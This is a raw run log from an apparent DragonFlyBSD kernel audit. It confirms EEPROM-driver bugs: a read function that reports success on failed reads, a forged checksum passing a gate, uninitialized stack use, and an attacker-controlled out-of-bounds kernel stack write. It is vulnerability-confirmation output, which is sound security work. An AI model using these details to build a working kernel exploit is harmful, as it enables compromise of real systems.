⬢ DragonFlyBSD Kernel Audit
DF-2255 / run.log
← back to finding ↓ download raw 
DFH: arrfail: read_array(addr=2, many=16) on 4KB dev -> retval=1 (AH_TRUE=1); device-stub reads=3 (the 13 negative-address reads were rejected by the address<0 check inside the verbatim read_eeprom before ever reaching the device)
DFH: arrfail: buf after call: 11 22 33 cc cc cc cc cc cc cc cc cc cc cc cc cc
DFH: arrfail: addresses 2,1,0 read fine (buf[0..2]); addresses -1..-13 failed and their 13/13 slots still hold the pre-call sentinel, yet the function returned AH_TRUE: *** DF-2256 CONFIRMED ***
DFH: chk: len=1024 code=_compress_block ret=-1 reads=1044 fails=0
DFH: chk: restored eeprom image starts with:DF2255-PWNED-OK!
DFH: chk: attacker-computed 16-bit additive checksum passed the gate, dispatch reached _compress_block and applied the payload to the in-RAM eeprom image: CONFIRMED (16/16 marker bytes)
login: DFH: uninit: groom call ret=-1; fail-all call ret=-1 reads=0 fails=4104
DFH: uninit: header read failed, word[0..3] kept stale groom bytes, blank-check compared GARBAGE, unpack derived length=2047 from UNINITIALIZED stack, payload read_array of 2053 bytes into word[2048] (5 past the end), looped 1 times (MSTATE cap 100): *** DF-2256 AMPLIFIER CONFIRMED: uninit stack drove many > MOUTPUT ***
DFH: uninit: fail-all call frame still holds the groom stream (offset -1) -- reads never wrote it:
DFH: uninit word[0] SIGNATURE NOT FOUND in window
DFH: otp2k: cptr=2047 len=2047 on 2KB dev -> ret=-1 reads=2052 fails=0
DFH: otp2k word[0] SIGNATURE NOT FOUND in window
DFH: otp2k: word[2048..2052] keeps pre-call content in 0/5 slots -> NO OOB write on a 2KB device (the 5 reads at negative addresses were rejected); those UNINITIALIZED bytes are still consumed by the checksum loop and the mchecksum compare at word[4+len],word[5+len]: DF-2256

DFH: selftest: anchor=0xfffff80116df4728 kstack=0xfffff80116df1000 kstack_size=16384 sentinel 6656/6656
DFH: selftest +0000: a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5
DFH: selftest +0010: a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf len=2047: verbatim ret=-1 byte-reads=2067 fails=0 (cptr=4095, lowest byte address 2043 >= 0: every read succeeds on a 4KB device)
DFH: ovf word[0] SIGNATURE NOT FOUND in window
DFH: ovf-win +0000: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0100: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0200: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0300: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0400: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0500: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0600: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0700: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0800: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0900: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0a00: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0b00: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0c00: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0d00: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0e00: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +0f00: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +1000: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +1100: a5 a5 a5 a5 a5 a5 a5 a5
DFH: ovf-win +1200: 66 67 64 65 1a 1b 18 19
DFH: ovf-win +1300: 66 67 64 65 1a 1b 18 19
DFH: ovf-win +1400: 66 67 64 65 1a 1b 18 19
DFH: ovf-win +1500: 66 67 64 65 1a 1b 18 19
DFH: ovf-win +1600: 66 67 64 65 1a 1b 18 19
DFH: ovf-win +1700: 66 67 64 65 1a 1b 18 19
DFH: ovf-win +1800: 66 67 64 65 1a 1b 18 19
DFH: ovf-win +1900: 66 67 64 65 1a 1b 18 19
DFH: selftest: anchor=0xfffff80117f2f728 kstack=0xfffff80117f2c000 kstack_size=16384 sentinel 8192/8192
DFH: selftest +0000: a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5
DFH: selftest +0010: a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5 a5
DFH: uninit: groom call ret=-1; fail-all call ret=-1 reads=0 fails=4104
DFH: uninit: header read failed, word[0..3] kept stale groom bytes, blank-check compared GARBAGE, unpack derived length=2047 from UNINITIALIZED stack, payload read_array of 2053 bytes into word[2048] (5 past the end), looped 1 times (MSTATE cap 100): *** DF-2256 AMPLIFIER CONFIRMED: uninit stack drove many > MOUTPUT ***
DFH: uninit: fail-all frame still holds the groom stream (offset 6080, siglen 8) -- failed reads never wrote it:
DFH: otp2k: cptr=2047 len=2047 on 2KB dev -> ret=-1 reads=2052 fails=0
DFH: otp2k: word[2048..2052] keeps pre-call content in 5/5 slots -> NO OOB write on a 2KB device (the 5 reads at negative addresses were rejected); those UNINITIALIZED bytes are still consumed by the checksum loop and the mchecksum compare at word[4+len],word[5+len]: DF-2256
login: DFH: ovf len=2043: verbatim ret=-1 byte-reads=4104 fails=0 (cptr=4095, lowest byte address 2047 >= 0: every read succeeds on a 4KB device)
DFH: ovf len=2043 -> read_array of 2049 bytes into word[2048]: e0 (attacker eeprom values e0) *** OOB WRITE CONFIRMED: eeprom-controlled kernel-stack bytes past word[2047] ***
DFH: ovf len=2044: verbatim ret=-1 byte-reads=4104 fails=0 (cptr=4095, lowest byte address 2046 >= 0: every read succeeds on a 4KB device)
DFH: ovf len=2044 -> read_array of 2050 bytes into word[2048]: e0 e1 (attacker eeprom values e0 e1) *** OOB WRITE CONFIRMED: eeprom-controlled kernel-stack bytes past word[2047] ***
DFH: ovf len=2045: verbatim ret=-1 byte-reads=4104 fails=0 (cptr=4095, lowest byte address 2045 >= 0: every read succeeds on a 4KB device)
DFH: ovf len=2045 -> read_array of 2051 bytes into word[2048]: e0 e1 e2 (attacker eeprom values e0 e1 e2) *** OOB WRITE CONFIRMED: eeprom-controlled kernel-stack bytes past word[2047] ***
DFH: ovf len=2046: verbatim ret=-1 byte-reads=4104 fails=0 (cptr=4095, lowest byte address 2044 >= 0: every read succeeds on a 4KB device)
DFH: ovf len=2046 -> read_array of 2052 bytes into word[2048]: e0 e1 e2 e3 (attacker eeprom values e0 e1 e2 e3) *** OOB WRITE CONFIRMED: eeprom-controlled kernel-stack bytes past word[2047] ***
DFH: ovf len=2047: verbatim ret=-1 byte-reads=4104 fails=0 (cptr=4095, lowest byte address 2043 >= 0: every read succeeds on a 4KB device)
DFH: ovf len=2047 -> read_array of 2053 bytes into word[2048]: e0 e1 e2 e3 e4 (attacker eeprom values e0 e1 e2 e3 e4) *** OOB WRITE CONFIRMED: eeprom-controlled kernel-stack bytes past word[2047] ***
DFH: diff: two identical calls; only the eeprom bytes for word[2048..2052] differ (0xE0..E4 vs 0xD0..D4); ret1=-1 ret2=-1 off_a=6080 off_b=6080
DFH: diff: stack bytes that changed RELATIVE TO word[0] (range 2030..2063): +2048(e0->d0) +2049(e1->d1) +2050(e2->d2) +2051(e3->d3) +2052(e4->d4) +2057(1c->fc) +2058(7a->79)
DFH: diff: 7 stack byte(s) past word[2047] track the eeprom content -- controlled OOB write primitive *** DF-2255 CONFIRMED ***